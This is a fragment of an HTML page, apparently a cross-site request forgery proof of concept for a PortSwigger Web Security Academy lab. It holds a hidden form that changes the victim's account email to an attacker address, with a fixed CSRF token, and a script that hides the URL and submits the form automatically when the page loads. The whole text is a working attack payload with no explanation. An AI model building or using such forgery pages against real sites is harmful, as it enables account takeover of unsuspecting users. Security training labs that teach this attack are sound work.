<form action="https://0ae3004703c86175806d0322003000b0.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="hacker@evil-user.net" />
<input type="hidden" name="csrf" value="ggICGH2IddN3iRuUrnROjTgoN8JhTWVX" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>

































